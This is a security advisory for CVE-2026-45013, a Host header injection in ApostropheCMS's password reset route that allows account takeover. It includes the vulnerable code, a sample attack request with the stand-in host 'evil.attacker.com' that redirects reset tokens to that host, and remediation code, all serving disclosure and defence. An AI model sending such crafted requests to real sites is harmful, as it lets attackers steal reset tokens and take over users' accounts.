GHSA-GF43-24G3-5HW2
Vulnerability from github – Published: 2026-05-14 18:27 – Updated: 2026-06-12 22:02Summary
ApostropheCMS's password reset flow constructs the reset URL using req.hostname,
which is derived directly from the attacker-controlled HTTP Host header when
apos.baseUrl is not explicitly configured. An unauthenticated attacker who knows
a victim's email address can send a crafted reset request that causes the application
to email the victim a reset link pointing to the attacker's domain. When the victim
clicks the link, the valid reset token is delivered to the attacker, enabling full
account takeover.
Affected Component
modules/@apostrophecms/login/index.js — resetRequest route
Precondition: passwordReset: true is set and apos.baseUrl is not configured.
Vulnerability Details
The setPrefixUrls middleware (i18n layer) builds req.baseUrl using req.hostname:
// Simplified from i18n middleware
req.baseUrl = `${req.protocol}://${req.hostname}`;
req.absoluteUrl = req.baseUrl + req.url;
The resetRequest handler then passes this tainted value directly into URL construction:
const parsed = new URL(
req.absoluteUrl, // ← tainted by attacker's Host header
self.apos.baseUrl
? undefined
: `${req.protocol}://${req.hostname}${port}` // ← also tainted
);
parsed.pathname = '/login';
parsed.searchParams.append('reset', reset); // real, valid token
parsed.searchParams.append('email', user.email);
await self.email(..., { url: parsed.toString() }, ...);
// Email sent to victim with URL pointing to attacker-controlled domain
When apos.baseUrl is configured, it is used unconditionally and the attacker's
Host header is ignored — that path is not vulnerable.
Attack Scenario
- Attacker identifies a valid user email (e.g. from the site's public interface).
- Attacker sends:
POST /api/v1/login/reset-request
Host: evil.attacker.com
Content-Type: application/json
{"email": "victim@example.com"}
- The application emails the victim:
Click here to reset your password:
http://evil.attacker.com/login?reset=TOKEN&email=victim@example.com
- Victim clicks the link; attacker's server captures
TOKEN. - Attacker calls the real target's reset endpoint with the captured token and sets a new password — full account takeover.
Preconditions
passwordReset: trueconfigured in login module options (opt-in)apos.baseUrlis not set (common in development and some production deployments)- Attacker knows or can enumerate a valid account email
Impact
Full account takeover of any account whose email address is known to the attacker. No authentication or interaction beyond sending a single HTTP request is required from the attacker. The victim need only click a link in a legitimate-looking password reset email from their own site.
Remediation
Operators (immediate): Always set apos.baseUrl in your configuration:
// app.js or module configuration
modules: {
'@apostrophecms/express': {
options: {
baseUrl: 'https://yourdomain.com'
}
}
}
Framework fix (recommended): The resetRequest route should refuse to proceed
if apos.baseUrl is not configured, rather than falling back to the tainted
req.hostname. Example:
// In resetRequest handler
if (!self.apos.baseUrl) {
throw self.apos.error(
'invalid',
'apos.baseUrl must be configured to enable password reset'
);
}
const parsed = new URL(self.loginUrl(), self.apos.baseUrl);
This eliminates the attacker-controlled input entirely from the URL construction path.
References
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "apostrophe"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "4.29.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-45013"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-640"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-14T18:27:12Z",
"nvd_published_at": "2026-06-12T21:16:22Z",
"severity": "HIGH"
},
"details": "## Summary\n\nApostropheCMS\u0027s password reset flow constructs the reset URL using `req.hostname`, \nwhich is derived directly from the attacker-controlled HTTP `Host` header when \n`apos.baseUrl` is not explicitly configured. An unauthenticated attacker who knows \na victim\u0027s email address can send a crafted reset request that causes the application \nto email the victim a reset link pointing to the attacker\u0027s domain. When the victim \nclicks the link, the valid reset token is delivered to the attacker, enabling full \naccount takeover.\n\n## Affected Component\n\n`modules/@apostrophecms/login/index.js` \u2014 `resetRequest` route \nPrecondition: `passwordReset: true` is set **and** `apos.baseUrl` is not configured.\n\n## Vulnerability Details\n\nThe `setPrefixUrls` middleware (i18n layer) builds `req.baseUrl` using `req.hostname`:\n\n```js\n// Simplified from i18n middleware\nreq.baseUrl = `${req.protocol}://${req.hostname}`;\nreq.absoluteUrl = req.baseUrl + req.url;\n```\n\nThe `resetRequest` handler then passes this tainted value directly into URL construction:\n\n```js\nconst parsed = new URL(\n req.absoluteUrl, // \u2190 tainted by attacker\u0027s Host header\n self.apos.baseUrl\n ? undefined\n : `${req.protocol}://${req.hostname}${port}` // \u2190 also tainted\n);\nparsed.pathname = \u0027/login\u0027;\nparsed.searchParams.append(\u0027reset\u0027, reset); // real, valid token\nparsed.searchParams.append(\u0027email\u0027, user.email);\nawait self.email(..., { url: parsed.toString() }, ...);\n// Email sent to victim with URL pointing to attacker-controlled domain\n```\n\nWhen `apos.baseUrl` is configured, it is used unconditionally and the attacker\u0027s \n`Host` header is ignored \u2014 that path is **not** vulnerable.\n\n## Attack Scenario\n\n1. Attacker identifies a valid user email (e.g. from the site\u0027s public interface).\n2. Attacker sends:\n```\n POST /api/v1/login/reset-request\n Host: evil.attacker.com\n Content-Type: application/json\n\n {\"email\": \"victim@example.com\"}\n```\n3. The application emails the victim:\n```\n Click here to reset your password:\n http://evil.attacker.com/login?reset=TOKEN\u0026email=victim@example.com\n```\n4. Victim clicks the link; attacker\u0027s server captures `TOKEN`.\n5. Attacker calls the real target\u0027s reset endpoint with the captured token and \n sets a new password \u2014 full account takeover.\n\n## Preconditions\n\n- `passwordReset: true` configured in login module options (opt-in)\n- `apos.baseUrl` is **not** set (common in development and some production deployments)\n- Attacker knows or can enumerate a valid account email\n\n## Impact\n\nFull account takeover of any account whose email address is known to the attacker. \nNo authentication or interaction beyond sending a single HTTP request is required \nfrom the attacker. The victim need only click a link in a legitimate-looking \npassword reset email from their own site.\n\n## Remediation\n\n**Operators (immediate):** Always set `apos.baseUrl` in your configuration:\n\n```js\n// app.js or module configuration\nmodules: {\n \u0027@apostrophecms/express\u0027: {\n options: {\n baseUrl: \u0027https://yourdomain.com\u0027\n }\n }\n}\n```\n\n**Framework fix (recommended):** The `resetRequest` route should refuse to proceed \nif `apos.baseUrl` is not configured, rather than falling back to the tainted \n`req.hostname`. Example:\n\n```js\n// In resetRequest handler\nif (!self.apos.baseUrl) {\n throw self.apos.error(\n \u0027invalid\u0027,\n \u0027apos.baseUrl must be configured to enable password reset\u0027\n );\n}\nconst parsed = new URL(self.loginUrl(), self.apos.baseUrl);\n```\n\nThis eliminates the attacker-controlled input entirely from the URL construction path.\n\n## References\n\n- [OWASP: Host Header Injection](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/17-Testing_for_Host_Header_Injection)\n- [CWE-640: Weak Password Recovery Mechanism for Forgotten Password](https://cwe.mitre.org/data/definitions/640.html)",
"id": "GHSA-gf43-24g3-5hw2",
"modified": "2026-06-12T22:02:13Z",
"published": "2026-05-14T18:27:12Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-gf43-24g3-5hw2"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45013"
},
{
"type": "PACKAGE",
"url": "https://github.com/apostrophecms/apostrophe"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Apostrophe has a Weak Password Recovery Mechanism for Forgotten Password and Improper Input Validation"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.